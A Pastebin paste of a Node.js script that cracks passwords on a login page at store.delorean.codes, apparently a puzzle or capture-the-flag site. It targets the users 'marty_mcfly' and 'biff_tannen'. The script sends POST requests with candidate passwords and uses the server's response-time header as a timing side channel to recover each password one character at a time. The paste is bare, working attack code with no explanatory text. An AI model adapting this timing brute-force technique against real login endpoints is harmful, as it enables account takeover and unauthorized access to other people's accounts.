Advertisement
Guest User

Untitled

a guest
Jul 6th, 2017
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.62 KB | None | 0 0
  1. const fetch = require('node-fetch')
  2. const chalk = require('chalk')
  3. const URI = 'https://store.delorean.codes/u/callensm/login'
  4. const alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
  5. let foundBiff = ''
  6. let foundMarty = ''
  7.  
  8. async function main() {
  9. console.log(chalk.red('Cracking Marty McFly...'))
  10. const resMarty = await crack(foundMarty, 'marty_mcfly')
  11. console.log(chalk.yellow(resMarty))
  12.  
  13. console.log(chalk.red('Cracking Biff...'))
  14. const resBiff = await crack(foundBiff, 'biff_tannen')
  15. console.log(chalk.yellow(resBiff))
  16. }
  17.  
  18. async function crack(found, user) {
  19. let tmp = 'aaaaa'
  20.  
  21. if (found.length >= 6) tmp = ''
  22. else if (found.length > 12) return 'no password found'
  23.  
  24. const pws = alphabet.split('').map(c => found + c + tmp);
  25. const times = await Promise.all(pws.map(p => req(p, user)))
  26.  
  27. const results = pws
  28. .map((x, i) => [x, times[i]])
  29. .sort((a, b) => b[1] - a[1])
  30.  
  31. if (results[results.length - 1][1] === 0.01 && found.length >= 6)
  32. return results[results.length - 1][0]
  33. else
  34. found += results[0][0][found.length]
  35.  
  36. console.log(found)
  37.  
  38. return crack(found, user)
  39. }
  40.  
  41. function req(password, user) {
  42. const body = {
  43. username: user,
  44. password: password
  45. }
  46. const opts = {
  47. method: 'POST',
  48. body: Object.keys(body).map(k => `${k}=${body[k]}`).join('&'),
  49. headers: {
  50. 'Content-Type': 'application/x-www-form-urlencoded'
  51. }
  52. }
  53.  
  54. const res = fetch(URI, opts)
  55. return res.then((r) => Number(r.headers.get('x-upstream-response-time')))
  56. }
  57.  
  58. main()
  59. .then(() => console.log('done')).catch(() => console.log('error'))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement